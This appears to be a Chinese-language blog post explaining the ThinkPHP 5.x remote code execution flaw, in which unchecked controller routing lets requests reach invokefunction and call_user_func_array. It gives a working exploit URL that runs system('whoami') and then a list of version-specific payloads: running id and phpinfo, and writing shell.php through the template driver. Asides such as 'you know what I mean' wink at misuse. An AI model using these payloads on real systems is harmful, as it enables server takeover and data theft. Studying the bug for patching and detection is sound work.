先來簡單說說前天thinkphp官方修復(fù)的一個getshell漏洞，框架對控制器沒有進(jìn)行足夠的檢測導(dǎo)致的一處getshell

影響的范圍: 5.x < 5.1.31, <= 5.0.23

漏洞危害: 導(dǎo)致系統(tǒng)被提權(quán)(你懂的)

這里附上一個自己測試的 thinkphp的 鏈接 http://www.thinkphp.cn/download/1260.html 版本是5.0.22

先來講下,5.0 跟5.1的區(qū)別吧，tp5.1中引入了容器(Container)和門面(Facade)這兩個新的類 tp5.0是沒有這兩個新的類的，

漏洞原理

URL：http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction

我們先來看看App類里的 exec函數(shù)里的執(zhí)行分層控制器的操作

我們這里是把controller 的調(diào)用信息跟配置信息全部傳到了 invokeFunction 這個 執(zhí)行函數(shù)里面去了

因為think\App是第二個入口，在tp運行的時候就會被加載 所以用think\App里面的分層控制器的執(zhí)行操作的時候,需要去調(diào)用invokeFunction這個函數(shù)。

這個函數(shù)有兩個參數(shù),如上圖所示，第一個是函數(shù)的名字，第二個參數(shù)數(shù)組，比如$function傳入BaiDu然后$vars傳入[12,555]就相當(dāng)于調(diào)用BaiDu(12,555)

此處我們把function傳入call_user_func_array然后vars[0]傳入我們要執(zhí)行的函數(shù)的名字vars[1]傳入要執(zhí)行函數(shù)的參數(shù)，因為vars是個數(shù)組 所以此處我們的get請求需要這樣寫

vars[]=函數(shù)名&vars[1][]=參數(shù)

此處是利用php的數(shù)組注入

此時此刻就可以開始利用遠(yuǎn)程代碼執(zhí)行漏洞了 比如我們要執(zhí)行system函數(shù) 他的參數(shù)是whoami

http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

下面你懂的,作為一個接班人我們要做的就是修復(fù)他(為所欲為?)，當(dāng)然官方更新的最新版本是已經(jīng)修復(fù)了的

這里就代碼執(zhí)行成功，以下奉獻(xiàn)上tp不同版本的payload

?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

以上就是本文的全部內(nèi)容，希望對大家的學(xué)習(xí)有所幫助，也希望大家多多支持本站。

版權(quán)聲明：本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來，僅供學(xué)習(xí)參考，不代表本站立場，如有內(nèi)容涉嫌侵權(quán)，請聯(lián)系alex-e#qq.com處理。